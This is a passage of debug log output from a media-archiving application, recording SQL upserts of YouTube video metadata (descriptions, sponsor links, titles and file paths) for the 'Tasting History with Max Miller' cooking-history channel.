("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - https://youtu.be/r38ZpdaAX8c?si=5UvJuNx942CG_8R6\nVideo on Gruel - https://youtu.be/FPi0RiAsegQ?si=AtuicVfiJ4-w5hub\nVideo on Lobscouse - https://youtu.be/x9E-P89Acsg?si=BN4uqz-DDyD3moQ1\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/scouseandsuetdumplings\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "db64eb6e-8f0a-49aa-b0bb-0a877813b2c6", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", false, 1599, false, 11, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].mp4", false, false, 3, [], 98, ~U[2026-01-20 16:01:30Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - https://youtu.be/r38ZpdaAX8c?si=5UvJuNx942CG_8R6\nVideo on Gruel - https://youtu.be/FPi0RiAsegQ?si=AtuicVfiJ4-w5hub\nVideo on Lobscouse - https://youtu.be/x9E-P89Acsg?si=BN4uqz-DDyD3moQ1\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/scouseandsuetdumplings\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", 1599, false, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].mp4", false, 3, ~U[2026-01-20 16:01:30Z]] 02:53:34.668 [debug] QUERY OK source="sources" db=0.2ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.669 [debug] QUERY OK source="media_items" db=1.2ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-13 16:00:29Z], 3] 02:53:34.670 [debug] QUERY OK source="media_items" db=0.9ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "c2fac7a8-4a57-42b6-a8fd-80a8c0960fdf", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", false, 1141, false, 12, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].mp4", false, false, 3, [], 98, ~U[2026-01-13 16:00:29Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", 1141, false, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].mp4", false, 3, ~U[2026-01-13 16:00:29Z]] 02:53:34.671 [debug] QUERY OK source="sources" db=0.1ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.672 [debug] QUERY OK source="media_items" db=1.1ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-06 16:01:05Z], 3] 02:53:34.673 [debug] QUERY OK source="media_items" db=0.9ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/beefbourguignon\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "df3be94f-c079-4f92-829d-e8b946ce3f2c", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", false, 1031, false, 13, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].mp4", false, false, 3, [], 98, ~U[2026-01-06 16:01:05Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/beefbourguignon\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", 1031, false, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].mp4", false, 3, ~U[2026-01-06 16:01:05Z]] 02:53:34.674 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.675 [debug] QUERY OK source="media_items" db=1.0ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-30 16:00:06Z], 3] 02:53:34.677 [debug] QUERY OK source="media_items" db=1.1ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/romanporkandpuls\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4473978\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5264442\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=14491607\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearmaturapress/4954020558/in/album-72157611387957648/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=77878033\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4719373\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "9b190be9-c264-4fde-a525-93fc6d865a5a", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", false, 1036, false, 14, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].mp4", false, false, 3, [], 98, ~U[2025-12-30 16:00:06Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/romanporkandpuls\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4473978\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5264442\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=14491607\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearmaturapress/4954020558/in/album-72157611387957648/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=77878033\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4719373\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", 1036, false, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].mp4", false, 3, ~U[2025-12-30 16:00:06Z]] 02:53:34.677 [debug] QUERY OK source="sources" db=0.2ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.678 [debug] QUERY OK source="media_items" db=1.1ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-23 16:00:39Z], 3] 02:53:34.680 [debug] QUERY OK source="media_items" db=1.3ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/alappanu\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthonyhuan/44841858665/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=91494202\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=54600047\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15310/map-of-the-late-bronze-age-collapse-c-1200---1150/\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=116346707 \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=111644965\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "d637b437-cef8-4a91-84ec-7e0d20664823", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", false, 1254, false, 15, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].mp4", false, false, 3, [], 98, ~U[2025-12-23 16:00:39Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/alappanu\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthonyhuan/44841858665/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=91494202\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=54600047\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15310/map-of-the-late-bronze-age-collapse-c-1200---1150/\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=116346707 \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=111644965\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", 1254, false, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].mp4", false, 3, ~U[2025-12-23 16:00:39Z]] 02:53:34.681 [debug] QUERY OK source="sources" db=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.682 [debug] QUERY OK source="media_items" db=1.2ms idle=4.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:00:01Z], 3] 02:53:34.683 [debug] QUERY OK source="media_items" db=0.9ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hzdDMUa/?igsh=NTc4MTIwNjQ2YQ==\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Chocolate Wine from 1723", "2482efe2-39bf-4637-8efa-03e53582e65d", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", false, 824, false, 16, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].mp4", false, false, 3, [], 98, ~U[2025-12-19 16:00:01Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hzdDMUa/?igsh=NTc4MTIwNjQ2YQ==\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Chocolate 